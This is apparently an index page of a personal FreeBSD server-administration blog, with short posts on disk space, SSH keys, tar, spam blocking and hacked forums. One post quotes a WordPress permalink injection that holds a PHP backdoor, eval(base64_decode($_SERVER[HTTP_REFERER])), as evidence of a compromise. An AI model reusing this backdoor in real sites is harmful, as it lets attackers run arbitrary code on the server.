August 11, 2010 Posted in Apache
Today I was overwhelmed by all kinds of error messages caused by insufficient storage space, this happened once 5 years ago. Since I linked /var/db/ and /var/log/www/ to another big partition, /var usually only uses a few hundred MB and should never use up its 10GB space. It turned to be the master Apache log file (/var/log/httpd-access.log). Read More
July 23, 2010 Posted in Security
When I visited one of my sites, I got a page with only the bold and big text:
Welcome to Nginx!
It looked like my site was hacked, actually I was pretty sure about it at that moment. I almost wanted to roll out my backup, fortunately it’s back to normal 20 minutes later, then I thought it might be my computer’s problem. After some digging, it turned out to be my ISP’s problem, somehow my ISP treated my site as an invalid domain and displayed their own search engine (evil), but their own site didn’t work, hence the default page from their proxy server.
March 5, 2010 Posted in Security
I just changed my SSH authentication from password to key-based. If you are using password authentication, I strongly suggest you change it, it’s a must, the setup is also very easy, there is no any reasons you don’t do this. With all kinds of buggy programs and scripts, our servers are much much weaker than we thought.
There are many tutorials online. I don’t want to re-write it here, just a reminder: after you finish the configuration, make sure to test the login before you close your current terminal.
February 22, 2010 Posted in Command & Utility
To extract a single file from an archive:
# tar zxvf tarfile.tgz –include=”desiredfile”
Use patterns:
# tar zxvf tarfile.tgz –include=”desiredfile*”
‘desiredfile’ must use full path. To check file’s fullpath:
# tar tf tarfile.tgz
Note: It’s double ‘-’ before include.
December 27, 2009 Posted in FreeBSD General
My vBulletin forum was hacked, the gate was vBseo according to this thread,
I always upgrade as soon as I receive their update email, later I realized vBSEO has two different versions for version 3.2.2?! Have you ever seen anything like this:
vBSEO 3.3.2
Release date: October 27, 2009
Last Updated: November 17, 2009
I upgraded to the first 3.3.2 but missed the second.
Read More
September 5, 2009 Posted in Security
I just found that my two wordpress blogs were hacked, the permanent link structure was changed to:
/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
This caused the individual posts couldn’t be accessed.
I don’t know how this was hacked, and what other damages were caused. For now, a urgent solution would be protecting wp-admin directory.
I have seen some other hacked blogs, I strongly suggest you take actions immediately. The above might not be a good solution, but should be helpful.
August 3, 2009 Posted in Apache, MySQL
Some spammers are very stupid and persistent, they don’t care about the results, and keep spamming for months and even years. They combine manual and automate ways to post spams, the only way to stop them is blocking their IPs.
July 19, 2009 Posted in Apache
My site got ‘internal server configuration’ errors, the Apache error log file for this domain has the following error message:
.htaccess: order takes one argument, ‘allow,deny’, ‘deny,allow’, or ‘mutual-failure’
March 30, 2009 Posted in FreeBSD General
From the log stats, I found many people were wondering how to stop a cron job or its email notification. To stop a cron job, just remove the command by editing the cron job: Read More
March 30, 2009 Posted in Security
When I was starting Apache after installed a new PHP module, I found that httpd.conf is missing, that was scary! I have absolutely no idea how this happened, the only possible reason is that I deleted it by accident. Read More
March 18, 2009 Posted in Misc
MovableType suddenly stopped working, I couldn’t publish new posts any more. So I took the chance to convert it to WordPress.
March 13, 2009 Posted in FreeBSD General
Here is another FreeBSD blog: Real FreeBSD Tips, it looks quite professional. Still too few FreeBSd blogs out there, FreeBSD deserves much more attention. I have no idea how many servers are running FreeBSD, but it should be a very small number compared to Linux.
March 12, 2009 Posted in Email
Finally, AOL unblocked my new IP, their Feedback Loop Request Form doesn’t seem to work, I joined two times and was approved too, but nothing happened. The unblock was done after I got a personal reply to my direct email request.
Here are some other email ISPs I have dealt with: Read More
March 9, 2009 Posted in FreeBSD General
I just found the official FreeBSD forums, it’s also using my favorite forum software, nice. I prefer web-based forums to milling-lists, newsgroups or IRC rooms, I can never get used to them. Finally, I got a place to hang out.
March 8, 2009 Posted in FreeBSD General
In the last 6 months, I have rebuilt my server four times due to ISP change or hard disk problems. Minimal down time and data consistency are two most factors when move to a new server. Here’s how I usually move a server: Read More